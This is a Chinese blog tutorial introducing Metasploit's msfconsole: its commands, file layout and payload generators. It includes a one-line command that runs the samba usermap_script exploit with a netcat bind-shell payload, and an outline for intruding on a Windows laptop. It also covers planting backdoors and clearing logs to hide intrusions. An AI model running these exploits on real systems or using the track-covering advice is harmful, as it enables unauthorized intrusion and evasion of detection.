玩转Metasploit(一):开始与结束的序章

众人皆黑,唯我独尊;天下武功,唯简不破。


前奏:基本布局和简单命令

在Kali中,metasploit是预装好的。与其说是一款工具,它更像是一个渗透平台——在metasploit套件中,最著名的接口就是msfconsole。下面我将重点讲解msfconsole,然后如果还有空闲就顺带讲一下其它的接口。

metasploit使用postgresql数据库,在kali上也已被预装好了,使用如下命令启动postgresql数据库服务(kali 2.0废除了metasploit服务)

service postgresql start

接着初始化该数据库,使用msfdb(metasploit套件之一)用来管理metasploit的数据库

msfdb init  # 这会创建一个用户名和密码均为msf的数据库用户

ss -ant检查下(5432),然后就可以敲命令打开msfconsole了

msfconsole

这里写图片描述

msfconsole的布局是一个树状结构,使用use命令进入某个module,之后使用back命令退出该module,一切都是自然而然的事情。下面是让你能够在msfconsole中自由穿行的命令和基本知识点,学会它也就算入门了。

首先是help命令,这会打印msfconsole的所有命令的帮助界面,它相当于内置的帮助文档

help

如果想要进一步了解某个命令,使用

help $某个命令

接着是show命令,默认展示所有的模块和选项

show

也可以指定特定的模块类名或其它选项:msfconsole内置了基本六类module,分别是auxiliary(辅助)、encoders(编码)、exploits(漏洞利用)、nops(空指令)、payloads(有效载荷)、post(邮递),这些翻译只是为了便于理解,不必记忆;其它的如option、targets等;对于像targets、options、info这样的选项,也可以不加show,打印的结果是一样的

show $模块类名或其它

然后是search命令,它用来搜索模块:它的语法

search $模块名

这是一个重要的命令,学会高效的查找能使你的工作事半功倍

使用use命令进入某个模块

use $模块名

使用back命令退出某个模块

back $模块名

那么多模块总不能一个个的全部记住吧,msfconsole的info命令这时候便起到大作用了。info命令默认展示当前使用模块的信息(如果已经加载了的话)

info

在info后面跟上特定的模块名用来展示对应模块的信息

info $模块名

check命令用来检查目标主机是否存在漏洞,没有任何参数;该命令通常在载入某个模块后使用

check

connect命令用来连接远程主机,其连接方式和netcat、telnet相同。可以指定端口

connect $主机的IP地址 $端口号

另外就是set命令,用来设置载入模块的相关信息,如RHOST(远程主机)、LHOST(本地主机)等,至于像payload、encode这样的信息,因为涉及模块,我觉得还是小写的好

'''
一点例子,关于set命令的用法
'''
set payload blah/blah/blahblah
set LHOST 192.168.1.5
set RHOST 192.168.1.12

最后介绍一个在攻击时用的命令sessions命令,它用来显示活跃的会话,并提供-i参数用来在这些会话之间切换,-l参数用来查看攻陷主机的相关信息

sessions -l     # 查看当前主机的相关信息
sessions -i 2   # 切换到sesion channel2

除了上述命令,msfconsole还有一些别的命令,由于篇幅这里不再赘述。需要用是自然是手到擒来。

模块存储在/usr/share/metasploit-framework/modules目录下。往上/usr/share/metssploit-framework存储metasploit的所有配置和数据文件。

这里写图片描述

前面说过metasploit有两种启动方式:除了控制台接口msfconsole,还有图形化界面armitage(如图是它的启动图标,你也可以在命令行下敲它的名字启动)

这里写图片描述

在早期的版本中还有一款msfcli作为metasploit的命令行接口,却不幸现已被正式废弃,准确说是被整合到当前版本msfconsole的命令中,使用-x参数

msfconsole -x "use exploit/multi/samba/usermap_script; set RHOST   192.168.1.12; set PAYLOAD cmd/unix/bind_netcat;[set LHOST IP;] run"

metasploit套件还提供了自动化生成payload的组件:msfvenom和msfpc。注意它们都包括在msfconsole里面,可以从msfconsole启动,不过考虑到其重要性所以把它们拎出来了。什么?你问我二者有什么区别:msfvenom是metasploit的标准payload生成器,它除了可以生成payload还负责encoder;而msfpc可以看成是前者的简化/封装版本,专心致力于生成payload,在操作上相对简单、友好。


插曲:metasploit的文件系统

前面讲到,metasploit的主要文件存储在/usr/share/metasploit-framework。下面具体讲解每个文件夹的具体作用。

这里写图片描述

0x01:data

data文件夹包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。

这里写图片描述

0x02:documentation

顾名思义,documentation文档包含框架的可用文档。

这里写图片描述

0x03:lib

lib文件夹就是metasploit的库文件夹。

这里写图片描述

0x04:modules

modules文件夹存储metasploit的模块文件。

这里写图片描述

0x05:plugins

plugins文件夹用来存放metasploit的插件。

这里写图片描述

0x06:scripts

scripts文件夹用来存放metasploit的脚本,包括meterpreter及其它脚本。

这里写图片描述

0x07:tools

tools文件夹存放多种的命令行实用程序。

这里写图片描述


间奏:黑客们的葵花宝典

本段文字属于介绍性的概述:0. 如何科学的使用search命令、1. 以实例为证,传授读者以黑客攻击的基本“套路”流程、2. 如何使用msfpc生成payload、3. 如何搞一个后门、4. 如何在网络世界隐藏自己。这些东西都是黑客学习的基础,但也是最重要的。希望读者也能早日找到自己的节奏,提炼出自己的葵花宝典。

0x01:search命令

search命令虽然也有带横杆的参数但是更常用的是带冒号的参数。使用type参数限定模块的类型;使用platform参数限定针怼的操作系统或服务。详见help文档

# 查找exploit类型的模块,并且它作用于windows的smb服务
search type:exploit platform:windows smb

这里写图片描述

0x02:Nmap扫描+msf攻击

众所周时,Nmap已经成了黑客们走亲访友、居家旅行必备之优秀端口扫描神器。下面就让我们以实战入侵一台Windows笔记本来验证我的论点。

接下来的入侵假设你已经攻进了目标主机所在的局域网。首先运用一系列社工知识搞到了对方的IP地址,接着用Nmap进行扫描目标主机

nmap -sV $目标IP地址

这里写图片描述

Nmap用法多样,它还可以扫描网段内的流氓接入点、存在蠕虫病毒的主机等;但是端口扫描仍然是Nmap的核心构件。

0x03:生成payload

前面说过metasploit的payload可以通过msfvenom或msfpc自动生成,下面将以msfpc为工具讲解如何生成多种多样的payload。

0x04:生成backdoor

为了能够持久的对目标进行攻击,我们需要在目标主机植入后门。为了方便起见,我还是使用msfpc生成backdoor,毕竟backdoor也是一种形式的payload。

0x05:隐藏黑客行为的方法

在窃取到我们想要的信息,或给目标主机实施了预计的效果后,在离开之前最重要的便是清理你流过的痕迹。最先想到的便是日志文件,我们的很多足迹都残留在这些日志文件中,meterpreter shell内置了clearev命令可以直接清除这些日志上留下的足迹。而这不是本文要讲的重点,事实上psexec模块可以做到这一点。为了隐藏自己的行踪,在完成入侵后首要任务就是清除浏览的痕迹;有的黑客会购买或自己捕捉大量肉鸡,来代替自己完成某些需要大量网络资源消耗的任务,比如集体性的DDoS攻击;这里推荐一款浏览器,名曰Tor(洋葱路由浏览器),它能很好的隐藏你在网络世界的行踪,有兴趣的同学可以了解下(仅作为学习交流目的哦)。


尾声:文末说明

你知道吗?metasploit最早是用Perl写成的,在零七年用Ruby重写。现在它有两个版本:企业本和社区版。企业版是要收费的,一年的费用大概是三万美刀,在Kali内置的就是社区版,由Github上一群活跃的年轻人维护。

所以,还是老老实实学习社区版吧。(笑)

猜你喜欢

转载自blog.csdn.net/abc_12366/article/details/81304029